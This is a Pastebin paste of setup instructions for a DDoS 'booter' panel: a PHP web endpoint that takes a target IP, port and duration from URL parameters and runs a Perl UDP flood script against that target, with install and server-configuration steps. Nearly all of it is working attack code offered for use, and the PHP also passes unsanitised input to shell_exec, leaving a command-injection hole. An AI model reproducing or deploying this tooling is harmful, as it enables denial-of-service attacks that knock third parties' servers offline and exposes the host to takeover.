Advertisement
OneTallor

Untitled

Dec 29th, 2016
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.05 KB | None | 0 0
  1. nano send.php
  2. paste this code:
  3. <?php
  4. $attacktype = $_GET["method"];
  5. $ip = $_GET["ip"];
  6. if (empty($ip)) { $ip = $_GET["host"]; }
  7. $port = $_GET["port"];
  8. $time = $_GET["time"];
  9. $proc = hash('crc32', $ip);
  10. if (empty($ip) || empty($port) || empty($time) || empty($attacktype))
  11. {
  12. die('<span style="font: normal 16px Tahoma; color: red;">Incorrect Method, Valid Methods : UDP </span>');
  13. }
  14. if (($attacktype == "UDP") || ($attacktype == "udp"))
  15. {
  16. $output = shell_exec("perl new.pl $ip $port 4094 $time");
  17. print("Attack Sent on $ip:80 For $time using $attacktype!");
  18. }
  19. if (($attacktype == "STOP") || ($attacktype == "STOP"))
  20. {
  21. $output = shell_exec("sudo pkill -f $proc ");
  22. print("Attack Sent on $ip:80 For $time using $attacktype!");
  23. }
  24. ?>
  25.  
  26.  
  27. Then press ctrl x then Y
  28.  
  29.  
  30. after that type nano new.pl
  31. this is just a basic UDP script which will hit accordingly to your server. We will just use this basic script for now.
  32. put this code into the editor:
  33. #!/usr/bin/perl
  34.  
  35. ##############
  36. # udp flood.
  37. ##############
  38.  
  39. use Socket;
  40. use strict;
  41.  
  42. if ($#ARGV != 3) {
  43. print " \n";
  44. print "SMASH phunk";
  45. print "Command new.pl <ip> <port> <packets> <temps(en secondes)>\n";
  46. print " ip:port:packets:time\n";
  47. print " SMASH ROUTER\n";
  48. print " SKYPE: street.light.\n";
  49. exit(1);
  50. }
  51.  
  52. my ($ip,$port,$size,$time) = @ARGV;
  53.  
  54. my ($iaddr,$endtime,$psize,$pport);
  55.  
  56. $iaddr = inet_aton("$ip") or die "Impossible de se connecter à $ip\n";
  57. $endtime = time() + ($time ? $time : 1000000);
  58.  
  59. socket(flood, PF_INET, SOCK_DGRAM, 17);
  60.  
  61.  
  62. print "DDOS INITIATED ON $ip PORT " . ($port ? $port : "random") . ", " .
  63. ($size ? "$size-byte" : "random size") . " packets" .
  64. ($time ? " FOR $time secondes" : "") . "\n";
  65. print "Attaque arrêtée avec Ctrl-C\n" unless $time;
  66.  
  67. for (;time() <= $endtime;) {
  68. $psize = $size ? $size : int(rand(1500-64)+64) ;
  69. $pport = $port ? $port : int(rand(65500))+1;
  70.  
  71. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
  72.  
  73. Then Press Ctrl X then Y
  74.  
  75. then type the following
  76. chmod 777 new.pl
  77. service httpd restart
  78. service httpd start
  79.  
  80.  
  81. this should set up the scripts correctly if you did everything right. to see if so, type ifconfig and copy your servers ip address or just copy the ip address else where and put this in your webbrowser:
  82. http://myserverip/send.php?
  83.  
  84. replace "myserverip" with your server ip that is the only thing you need to change. If red letters are shown then you set it up correctly and it is ready to use. Simply open the application but change the myserverip to your servers ip.
  85.  
  86.  
  87. Then after you have done that we will need to let the program check if the server is online enter the following commands:
  88. cd /var/www/html
  89. nano status.txt
  90. write: online
  91. write only online nothing else just online
  92. after this ctrl x then Y
  93.  
  94. you should be all set up. ~No Bull Shit Panel
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement